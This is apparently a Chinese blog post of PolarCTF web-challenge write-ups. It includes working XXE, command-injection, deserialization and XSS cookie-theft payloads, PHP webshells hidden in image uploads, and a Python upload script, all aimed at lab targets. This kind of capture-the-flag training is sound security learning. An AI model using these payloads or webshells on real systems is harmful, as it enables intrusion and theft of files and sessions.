ExX?
打开给了提示inflagggg.php

打开phpinfo,多了个c的get传参

尝试用伪协议读一下无果

想着可能藏在别的什么,扫一个目录,发现/dom.php

访问一下

看着好熟悉好像跟前面做的第五题一样,确认为xxe漏洞
构造一下:
<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<x>&f;</x>bp抓包发一下

解码得到flag

EZ_Host
打开环境存在?host=YOUR_HOST可执行参数

执行命令
127.0.0.1;ls
pyload:
127.0.0.1;cat flag
传马
题目名字叫传马,就知道这题可能跟文件上传漏洞有点关系,
打开环境果然是

依旧看看前端,也没有限制

准备一个照片马
GIF89a
<?php @eval($_POST['pass']);?>上传成功

不确定后端也没有检查,改一下文件后缀,上传竟然上传成功,看来只有一个前端验证

蚁剑连一下

得到flag

笑傲上传
好像也是一个文件上传

还是看看前端


访问/include.php,看到源码

上传shell.png发现被改成

改成php试一下会不会成功,看看也没有后端限制

复制这个路径,去/include.php,进行文件包含,发现显示上传得到文件头

执行命令成功


pyload:post传
pass=system('cat /flag.txt');

序列一下
这题应该是反序列化

构造一下
<?php
class Polar {
public $url = 'polarctf.com';
public $lt = 'system';
public $b = 'ls';
}
echo serialize(new Polar);
?>
执行成功

改成查看根目录

pyload
O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";}
坏掉的上传页
打开环境,说上传页面被黑客攻击无法上传l

点击浏览文件的时候,url多出来一个?想着上传点不在这

扫一下目录

访问一下/config.php,发现了默认的上传路径,

ai生成一个python脚本
import requests
url = "http://b32f4521-fb66-4d61-ab5d-23cf1c782822.www.polarctf.com:8090/"
shell = b'<?php system($_POST["c"]); ?>'
files = {
"file": ("shell.php", shell)
}
res = requests.post(url, files=files, timeout=8)
print("状态码:", res.status_code)
print("响应:\n", res.text)直接执行,到/database.db验证一下执行结果得到文件路径(谷歌浏览器)

访问/uploadsabc/file_6a8d4169abba08.75972189.php,执行命令成功

找一下flag文件找到在/var/www/html/flag{???}里
find / -name "flag*"
得到flag
pyload:
c=cat /var/www/html/flag{???}
xxmmll

那就看看源代码吧

扫个目录看看

flag.txt里没有flag

访问/docker-compose.yml里

Note
有一句提示

扫个目录吧,发现flag文件

得到

但是根据题目,提示去访问日志/debug.log

访问/docker-compose.yml

/Dockerfile

都没什么继续看/debug.log
看不懂甩给ai分析了一下知道存在 Note 类,有 filename 属性(默认 logs.txt),应用对 data 参数调用 unserialize()
<?php
class Note {
private $filename = 'logs.txt'; // ★ private!所以序列化必须写 s:14:"\0Note\0filename"
public function __construct() {
// 每次 new Note() 就往 debug.log 打一条 initialized
file_put_contents('debug.log', "[DEBUG] Class: Note initialized\n", FILE_APPEND);
}
public function __destruct() {
// ★ 漏洞触发点:读文件并原样输出
// 只控制 filename 即可读任意文件(对应 "file path manipulation" 提示)
if (file_exists($this->filename)) {
echo file_get_contents($this->filename);
}
}
}
// ===== 题目故意留下的调试线索(写死追加到 debug.log)=====
file_put_contents('debug.log', "[DEBUG] Class: Note | Default Filename: logs.txt\n", FILE_APPEND);
file_put_contents('debug.log', "[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.\n", FILE_APPEND);
file_put_contents('debug.log', "[DEBUG] Remember to validate user input.\n", FILE_APPEND);
file_put_contents('debug.log', "[DEBUG] Potential file path manipulation in Note class.\n", FILE_APPEND);
// 模拟“笔记本”初始化,每次请求 new 出一批 Note(所以 debug.log 每次 +7 行 initialized)
for ($i = 0; $i < 7; $i++) {
new Note();
}
// ===== 漏洞入口 =====
if (isset($_GET['data'])) {
@unserialize($_GET['data']); // ★ 用户数据直接反序列化,零校验
}
// ===== 表单(干扰项)=====
if (isset($_POST['content'])) {
file_put_contents('logs.txt', $_POST['content']); // 或仅回显
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>我的笔记本</title></head>
<body>
<h1>欢迎来到我的笔记本</h1>
<form method="post">
<textarea name="content" rows="10" cols="30"><?php echo isset($_POST['content'])?htmlspecialchars($_POST['content']):''; ?></textarea><br>
<input type="submit" value="保存">
</form>
<p>提示:调试日志可能包含重要线索。</p>
</body>
</html>
我们构造
<?php
class Note {
private $filename;
private $content;
}
$note = new Note();
$ref = new ReflectionClass($note);
$prop = $ref->getProperty('filename');
$prop->setAccessible(true);
$prop->setValue($note, 'flag.txt');
echo urlencode(serialize($note));
?>

pyload
?data=O%3A4%3A%22Note%22%3A2%3A%7Bs%3A14%3A%22%00Note%00filename%22%3Bs%3A8%3A%22flag.txt%22%3Bs%3A13%3A%22%00Note%00content%22%3BN%3B%7D
赌王
打开说,那就摇

点了半天都没有,懒得弄了爆破
抓包发到intruderr


成功摇到

访问/ed3d2c21991e3bef5e069713af9fa6ca.php,要加php的后缀噢

好像无论输入多大都大1

应该是想办法绕过,试了字符不行,进制转换都不行,只能利用php特性任意数字和数组做大小比较,结果永远返回false
userInput[]=1


得到e744f91c29ec99f0e662c9177946c627,访问e744f91c29ec99f0e662c9177946c627.php进入第三关

输入什么都是权限不足,看了一下源代码

想到了X-Forwarded-For,值改成1.1.1.1

找到flag文件

得到flag

复读机RCE
题目都说rec了,就试试了

试了一下无论什么命令都会触发

联想题目复读机,想着打印试试
echo 1,成功打印1

尝试打印出来当前文件
echo ls,结果给ls打印出来了

换一种,echo 1;ls

成功打印当前文化
echo 1;cat index.php成功查看源码

<pre>1
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$cmd = $_POST['cmd'];
// 仅允许 echo 命令
if (stripos($cmd, 'echo') === false) {
echo "这是内部消息,我不能说,你只能自己找";
exit;
}
// 执行用户命令
$output = shell_exec($cmd);
echo "<pre>$output</pre>";
}
?>原来没有过滤,是检测我们输入的字符只要带有echo就会被代码放到shell_exec中执行,这也解释了为什么之前的函数都无法使用
echo 1;ls /
pyload:
flag{12400320-EBCD-D827-09A8-B0D909863DB7}
xCsMsD
打开一个登录框

找找账户密码,在源代码里没有找到
扫个目录找到

但是不知道怎么是口的搜了wp看到都有
admin;admin123但是不对

注册返回,users.txt查看就有了

登录进去,发现执行xss

执行<script>alert('1');</script>没有反应,f12查看一下

既然它帮我们加上了,那我们就不输入前面的标签了,直接输入alert('1');</script>成功弹窗:
成功弹窗

我们尝试获取cookie,构造语句:
alert(document.cookie);</script>
成功弹出cookie:

解码一下

意思是
+会转义成-,\会转义成/
切换到,命令执行窗口

成功执行命令

找一下flag文件,ls-\

cat读取一下,发现禁止使用cat

tac绕过一下
pyload
tac-/flag发现这个也可以

coke的登陆
代码审计发现一个cookies.php


不知道是账户名还是密码再往下找找东西


点了提示发现这个


找到账号名,知道前面那个应该是密码

果然

palor靶场-中等方向(25-36)
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法